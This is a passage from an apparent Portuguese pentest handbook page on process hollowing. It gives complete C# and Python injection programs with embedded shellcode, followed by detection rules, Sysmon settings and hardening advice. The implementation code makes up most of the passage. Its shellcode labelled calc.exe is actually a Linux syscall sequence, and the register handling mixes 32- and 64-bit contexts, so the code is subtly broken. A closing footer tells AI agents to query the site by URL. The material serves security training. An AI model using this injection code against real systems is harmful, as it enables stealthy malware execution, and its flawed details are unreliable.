        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    struct CONTEXT
    {
        public uint ContextFlags;
        public uint Dr0;
        public uint Dr1;
        public uint Dr2;
        public uint Dr3;
        public uint Dr6;
        public uint Dr7;
        public uint FloatSave;
        public uint SegGs;
        public uint SegFs;
        public uint SegEs;
        public uint SegDs;
        public uint Edi;
        public uint Esi;
        public uint Ebx;
        public uint Edx;
        public uint Ecx;
        public uint Eax;
        public uint Ebp;
        public uint Eip;
        public uint SegCs;
        public uint EFlags;
        public uint Esp;
        public uint SegSs;
        public byte[] ExtendedRegisters;
    }
    
    const uint CREATE_SUSPENDED = 0x00000004;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint CONTEXT_FULL = 0x10007;
    
    // Shellcode (calc.exe)
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool ProcessHollowing(string targetPath)
    {
        Console.WriteLine("[*] Process Hollowing - C# Implementation");
        Console.WriteLine("[*] =====================================\n");
        
        STARTUPINFO si = new STARTUPINFO();
        si.cb = Marshal.SizeOf(si);
        
        PROCESS_INFORMATION pi;
        
        // 1. Criar processo suspenso
        Console.WriteLine($"[1] Creating suspended process: {targetPath}");
        if (!CreateProcess(targetPath, null, IntPtr.Zero, IntPtr.Zero, false,
                           CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi))
        {
            Console.WriteLine($"[-] CreateProcess failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine($"[+] Process created suspended (PID: {pi.dwProcessId})");
        
        // 2. Obter contexto
        CONTEXT ctx = new CONTEXT();
        ctx.ContextFlags = CONTEXT_FULL;
        
        if (!GetThreadContext(pi.hThread, ref ctx))
        {
            Console.WriteLine("[-] GetThreadContext failed");
            return false;
        }
        
        // 3. Obter base da imagem
        IntPtr imageBase = (IntPtr)ctx.Ebx;
        Console.WriteLine($"[+] Original image base: 0x{imageBase.ToInt64():X}");
        
        // 4. Desmapear imagem original
        if (NtUnmapViewOfSection(pi.hProcess, imageBase) != 0)
        {
            Console.WriteLine("[!] NtUnmapViewOfSection failed, attempting new address");
            imageBase = IntPtr.Zero;
        }
        else
        {
            Console.WriteLine("[+] Original image unmapped");
        }
        
        // 5. Alocar nova memória
        IntPtr remoteBuffer = VirtualAllocEx(pi.hProcess, imageBase, (uint)shellcode.Length,
                                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (remoteBuffer == IntPtr.Zero)
        {
            Console.WriteLine("[-] VirtualAllocEx failed");
            return false;
        }
        Console.WriteLine($"[+] Memory allocated at 0x{remoteBuffer.ToInt64():X}");
        
        // 6. Escrever payload
        IntPtr bytesWritten;
        if (!WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, (uint)shellcode.Length, out bytesWritten))
        {
            Console.WriteLine("[-] WriteProcessMemory failed");
            return false;
        }
        Console.WriteLine($"[+] Payload written ({shellcode.Length} bytes)");
        
        // 7. Atualizar contexto
        ctx.Eax = (uint)remoteBuffer.ToInt64();
        
        if (!SetThreadContext(pi.hThread, ref ctx))
        {
            Console.WriteLine("[-] SetThreadContext failed");
            return false;
        }
        Console.WriteLine($"[+] Thread context updated to entry point: 0x{remoteBuffer.ToInt64():X}");
        
        // 8. Retomar thread
        ResumeThread(pi.hThread);
        Console.WriteLine("[+] Thread resumed");
        
        // 9. Limpeza
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        
        return true;
    }
    
    static void Main(string[] args)
    {
        string targetPath = args.Length > 0 ? args[0] : @"C:\Windows\System32\svchost.exe";
        
        if (ProcessHollowing(targetPath))
        {
            Console.WriteLine("\n[+] Process Hollowing successful!");
        }
        else
        {
            Console.WriteLine("\n[-] Process Hollowing failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# process_hollowing.py

import ctypes
import ctypes.wintypes
import sys
import time

# Windows API definitions
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll

# Constants
CREATE_SUSPENDED = 0x00000004
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL = 0x10007

# Estruturas
class STARTUPINFO(ctypes.Structure):
    _fields_ = [
        ("cb", ctypes.c_uint),
        ("lpReserved", ctypes.c_wchar_p),
        ("lpDesktop", ctypes.c_wchar_p),
        ("lpTitle", ctypes.c_wchar_p),
        ("dwX", ctypes.c_uint),
        ("dwY", ctypes.c_uint),
        ("dwXSize", ctypes.c_uint),
        ("dwYSize", ctypes.c_uint),
        ("dwXCountChars", ctypes.c_uint),
        ("dwYCountChars", ctypes.c_uint),
        ("dwFillAttribute", ctypes.c_uint),
        ("dwFlags", ctypes.c_uint),
        ("wShowWindow", ctypes.c_ushort),
        ("cbReserved2", ctypes.c_ushort),
        ("lpReserved2", ctypes.c_void_p),
        ("hStdInput", ctypes.c_void_p),
        ("hStdOutput", ctypes.c_void_p),
        ("hStdError", ctypes.c_void_p)
    ]

class PROCESS_INFORMATION(ctypes.Structure):
    _fields_ = [
        ("hProcess", ctypes.c_void_p),
        ("hThread", ctypes.c_void_p),
        ("dwProcessId", ctypes.c_uint),
        ("dwThreadId", ctypes.c_uint)
    ]

class CONTEXT(ctypes.Structure):
    _fields_ = [
        ("ContextFlags", ctypes.c_uint),
        ("Dr0", ctypes.c_uint),
        ("Dr1", ctypes.c_uint),
        ("Dr2", ctypes.c_uint),
        ("Dr3", ctypes.c_uint),
        ("Dr6", ctypes.c_uint),
        ("Dr7", ctypes.c_uint),
        ("FloatSave", ctypes.c_uint),
        ("SegGs", ctypes.c_uint),
        ("SegFs", ctypes.c_uint),
        ("SegEs", ctypes.c_uint),
        ("SegDs", ctypes.c_uint),
        ("Edi", ctypes.c_uint),
        ("Esi", ctypes.c_uint),
        ("Ebx", ctypes.c_uint),
        ("Edx", ctypes.c_uint),
        ("Ecx", ctypes.c_uint),
        ("Eax", ctypes.c_uint),
        ("Ebp", ctypes.c_uint),
        ("Eip", ctypes.c_uint),
        ("SegCs", ctypes.c_uint),
        ("EFlags", ctypes.c_uint),
        ("Esp", ctypes.c_uint),
        ("SegSs", ctypes.c_uint)
    ]

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def process_hollowing(target_path):
    """Executar Process Hollowing"""
    print("[*] Process Hollowing - Python Implementation")
    print("[*] =========================================\n")
    
    si = STARTUPINFO()
    si.cb = ctypes.sizeof(STARTUPINFO)
    pi = PROCESS_INFORMATION()
    
    # 1. Criar processo suspenso
    print(f"[1] Creating suspended process: {target_path}")
    success = kernel32.CreateProcessW(target_path, None, None, None, False,
                                        CREATE_SUSPENDED, None, None,
                                        ctypes.byref(si), ctypes.byref(pi))
    if not success:
        print(f"[-] CreateProcess failed: {ctypes.get_last_error()}")
        return False
    print(f"[+] Process created suspended (PID: {pi.dwProcessId})")
    
    # 2. Obter contexto
    ctx = CONTEXT()
    ctx.ContextFlags = CONTEXT_FULL
    
    if not kernel32.GetThreadContext(pi.hThread, ctypes.byref(ctx)):
        print("[-] GetThreadContext failed")
        kernel32.TerminateProcess(pi.hProcess, 0)
        kernel32.CloseHandle(pi.hThread)
        kernel32.CloseHandle(pi.hProcess)
        return False
    
    # 3. Obter base da imagem
    image_base = ctx.Ebx
    print(f"[+] Original image base: 0x{image_base:X}")
    
    # 4. Desmapear imagem original
    result = ntdll.NtUnmapViewOfSection(pi.hProcess, image_base)
    if result != 0:
        print("[!] NtUnmapViewOfSection failed, attempting new address")
        image_base = 0
    else:
        print("[+] Original image unmapped")
    
    # 5. Alocar nova memória
    remote_buffer = kernel32.VirtualAllocEx(pi.hProcess, image_base, len(shellcode),
                                             MEM_COMMIT | MEM_RESERVE,
                                             PAGE_EXECUTE_READWRITE)
    if not remote_buffer:
        print("[-] VirtualAllocEx failed")
        kernel32.TerminateProcess(pi.hProcess, 0)
        kernel32.CloseHandle(pi.hThread)
        kernel32.CloseHandle(pi.hProcess)
        return False
    print(f"[+] Memory allocated at 0x{remote_buffer:X}")
    
    # 6. Escrever payload
    bytes_written = ctypes.c_size_t()
    if not kernel32.WriteProcessMemory(pi.hProcess, remote_buffer, shellcode,
                                        len(shellcode), ctypes.byref(bytes_written)):
        print("[-] WriteProcessMemory failed")
        kernel32.TerminateProcess(pi.hProcess, 0)
        kernel32.CloseHandle(pi.hThread)
        kernel32.CloseHandle(pi.hProcess)
        return False
    print(f"[+] Payload written ({len(shellcode)} bytes)")
    
    # 7. Atualizar contexto
    ctx.Eax = remote_buffer
    
    if not kernel32.SetThreadContext(pi.hThread, ctypes.byref(ctx)):
        print("[-] SetThreadContext failed")
        kernel32.TerminateProcess(pi.hProcess, 0)
        kernel32.CloseHandle(pi.hThread)
        kernel32.CloseHandle(pi.hProcess)
        return False
    print(f"[+] Thread context updated to entry point: 0x{remote_buffer:X}")
    
    # 8. Retomar thread
    kernel32.ResumeThread(pi.hThread)
    print("[+] Thread resumed")
    
    # 9. Limpeza
    kernel32.CloseHandle(pi.hThread)
    kernel32.CloseHandle(pi.hProcess)
    
    return True

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "C:\\Windows\\System32\\svchost.exe"
    
    if process_hollowing(target):
        print("\n[+] Process Hollowing successful!")
    else:
        print("\n[-] Process Hollowing failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Process Hollowing:
  Processos:
    - Processos criados com CREATE_SUSPENDED
    - Processos legítimos com comportamento anômalo
    - Discrepância entre arquivo no disco e imagem na memória
  
  APIs Monitoradas:
    - CreateProcess com CREATE_SUSPENDED
    - NtUnmapViewOfSection
    - VirtualAllocEx com PAGE_EXECUTE_READWRITE
    - WriteProcessMemory seguido de SetThreadContext
    - ResumeThread
  
  Memória:
    - Seções de memória com PAGE_EXECUTE_READWRITE em processos legítimos
    - Entry point apontando para seção não mapeada originalmente
```

### **Regras de Detecção (Sigma)**

```yaml
title: Process Hollowing Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta processo criado suspenso seguido de injeção
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        CreationFlags: '0x4'  # CREATE_SUSPENDED
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de processos suspensos -->
        <ProcessCreate onmatch="include">
            <CreationFlags condition="is">0x4</CreationFlags>
        </ProcessCreate>
        
        <!-- Monitorar acesso a memória -->
        <ProcessAccess onmatch="include">
            <GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
        </ProcessAccess>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Habilitar Arbitrary Code Guard
Set-ProcessMitigation -System -Enable ArbitraryCodeGuard

# Configurar Windows Defender Application Control
# Criar política que bloqueia criação de processos suspensos
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
    
    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynCode = {0};
    dynCode.ProhibitDynamicCode = 1;
    SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynCode, sizeof(dynCode));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules:
    - Block process injections
    - Block Office applications from creating child processes
  - Usar Windows Defender Application Control
  - Implementar Exploit Protection (EMET)
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG, ACG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Processos**
  * [ ] Proteger processos críticos com mitigations
  * [ ] Monitorar criação de processos suspensos
* [ ] **Monitoramento**
  * [ ] Configurar Sysmon para eventos 1 e 10
  * [ ] Alertar sobre CREATE\_SUSPENDED
  * [ ] Monitorar acesso a memória de processos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar processos alvo
  * [ ] Verificar privilégios
* [ ] **Execução**
  * [ ] Testar com svchost.exe ou notepad.exe
  * [ ] Verificar entry point após injeção
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Process Hollowing:
  ✅ Técnica clássica de injeção de código
  ✅ Mecanismo de evasão amplamente utilizado
  ✅ Bypassa detecção baseada em arquivo
  ✅ Permite execução de código arbitrário

Defesas essenciais:
  ❌ Monitorar CREATE_SUSPENDED
  ✓ Habilitar CFG e ACG
  ✓ Configurar WDAC
  ✓ Monitorar acesso a memória de processos
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Identificar processos alvo adequados
   * Garantir que o payload seja um PE válido
   * Verificar se o entry point está correto
   * Limpar artefatos após execução
2. **Para Blue Teams**
   * Monitorar criação de processos suspensos
   * Configurar regras de detecção
   * Implementar políticas de código dinâmico
   * Usar Windows Defender Application Control


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/process-hollowing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
